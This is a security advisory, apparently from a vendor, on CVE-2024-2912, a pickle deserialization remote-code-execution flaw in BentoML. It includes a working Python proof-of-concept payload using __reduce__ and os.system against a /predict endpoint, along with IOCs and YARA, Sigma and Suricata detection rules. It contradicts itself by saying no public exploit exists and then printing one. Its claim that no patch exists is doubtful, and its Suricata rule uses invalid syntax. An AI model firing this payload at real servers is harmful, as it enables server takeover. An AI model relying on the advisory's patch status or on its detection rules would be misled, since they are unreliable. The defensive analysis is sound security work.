CVE-2024-2912

Executive Summary

CVE-2024-2912 is a critical insecure deserialization vulnerability in the BentoML framework, a popular open-source platform for serving machine learning models. The flaw allows unauthenticated remote code execution (RCE) by sending a specially crafted POST request containing a malicious serialized object. When deserialized by the BentoML server, the object executes arbitrary OS commands, enabling full server compromise. With a CVSS score of 10.0, this vulnerability poses an extreme risk to any organization using BentoML in production. No public exploit code or patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

BentoML is distributed via PyPI as the bentoml package. Organizations using BentoML should verify their dependency version and monitor for updates. The vulnerability affects all versions of BentoML, and no patched release has been issued. Attackers may target supply chains by injecting malicious serialized payloads into model-serving pipelines.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in BentoML’s deserialization of incoming request data. BentoML uses Python’s pickle or similar serialization mechanisms to handle complex objects in API requests. When a POST request is sent to any valid BentoML endpoint (e.g., /predict, /classify), the server deserializes the payload without proper validation. An attacker can craft a serialized object that, upon deserialization, executes arbitrary OS commands via Python’s __reduce__ method or similar techniques.

The attack flow:

1. Attacker identifies a BentoML endpoint.
2. Attacker creates a malicious pickle payload that executes a command (e.g., reverse shell, data exfiltration).
3. Attacker sends the payload as a POST request to the endpoint.
4. BentoML deserializes the payload, triggering command execution.
5. Attacker gains remote code execution on the server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import pickle
from flask import request

@app.route('/predict', methods=['POST'])
def predict():
    data = request.get_data()
    obj = pickle.loads(data)  # Insecure deserialization
    # Process obj...

Patched Code (Conceptual):

import json
from flask import request

@app.route('/predict', methods=['POST'])
def predict():
    data = request.get_json()  # Use safe deserialization
    # Process data...

The patched version avoids using pickle or other unsafe deserializers, instead relying on JSON or other safe formats. Since no official patch exists, users must implement their own input validation and avoid using pickle for untrusted data.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

• Target: BentoML server (any version) running on a local VM or container.
• Attacker: Kali Linux or similar with Python3 and requests library.

Exploit Script (Python):

import pickle
import os
import requests

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned.txt',))

payload = pickle.dumps(Exploit())
url = "http://target:5000/predict"
requests.post(url, data=payload)

Execution:

1. Run the exploit script against the target BentoML endpoint.
2. Verify command execution by checking /tmp/pwned.txt on the target.

Blue Team (Defense & Detection)

Detection:

• Monitor for POST requests with unusual content types (e.g., application/octet-stream or application/x-python-serialize).
• Look for anomalous process execution (e.g., id, curl, bash spawned by Python).
• Use network monitoring to detect reverse shell traffic.

Mitigation:

• Disable BentoML endpoints if not in use.
• Implement a Web Application Firewall (WAF) to block pickle payloads.
• Use input validation to reject non-JSON data.
• Run BentoML in a sandboxed environment with minimal privileges.

Indicators of Compromise (IOCs)

• Network: POST requests to BentoML endpoints with Content-Type: application/octet-stream or binary payloads.
• File System: Unexpected files in /tmp/ (e.g., pwned.txt, exploit.sh).
• Process: Python processes spawning shell commands (sh, bash, cmd).
• Logs: BentoML logs showing deserialization errors or unexpected object types.
• Outbound Connections: Connections to unknown IPs on common ports (4444, 8080, etc.).

Detection Engineering

YARA Rule

rule CVE_2024_2912_BentoML_Deserialization {
    meta:
        description = "Detects malicious pickle payloads targeting BentoML"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2912"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_magic at 0 and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: BentoML Insecure Deserialization Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to BentoML endpoints with binary payloads
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: POST
        http.url|contains: 
            - "/predict"
            - "/classify"
            - "/serve"
        http.content_type: 
            - "application/octet-stream"
            - "application/x-python-serialize"
    condition: selection
falsepositives:
    - Legitimate binary model uploads (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2912 BentoML Insecure Deserialization Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/predict" or content:"/classify" or content:"/serve"; http.content_type; content:"application/octet-stream" or content:"application/x-python-serialize"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable all BentoML endpoints if not critical. Use a reverse proxy (e.g., Nginx) to restrict access to trusted IPs.
2. Short-term: Implement input validation to reject non-JSON payloads. Use a WAF to block pickle magic bytes.
3. Long-term: Migrate to a patched version once available. Avoid using pickle for untrusted data; use JSON or other safe serialization.
4. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
5. Backup: Ensure regular backups and have an incident response plan ready.

Valters IT
Securing digital frontiers with elite DevSecOps and threat intelligence.